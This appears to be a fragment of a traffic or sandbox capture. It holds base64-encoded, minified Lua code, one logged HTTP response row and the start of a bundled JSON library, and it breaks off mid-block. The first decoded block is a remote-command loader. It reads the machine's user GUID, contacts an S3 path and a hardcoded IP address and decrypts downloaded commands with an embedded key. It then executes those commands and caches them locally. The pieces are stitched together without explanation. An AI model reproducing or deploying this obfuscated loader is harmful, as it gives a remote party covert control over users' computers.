cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d3b8bjraovjdbz.cloudfront.net (54.230.46.34:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
12 | /v2/tfn5306351516.html(11) | text/html | tfn5306351516.html(11) | 200 OK | TEXT | 46.2 KB | 03/30/71 04:45:52 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
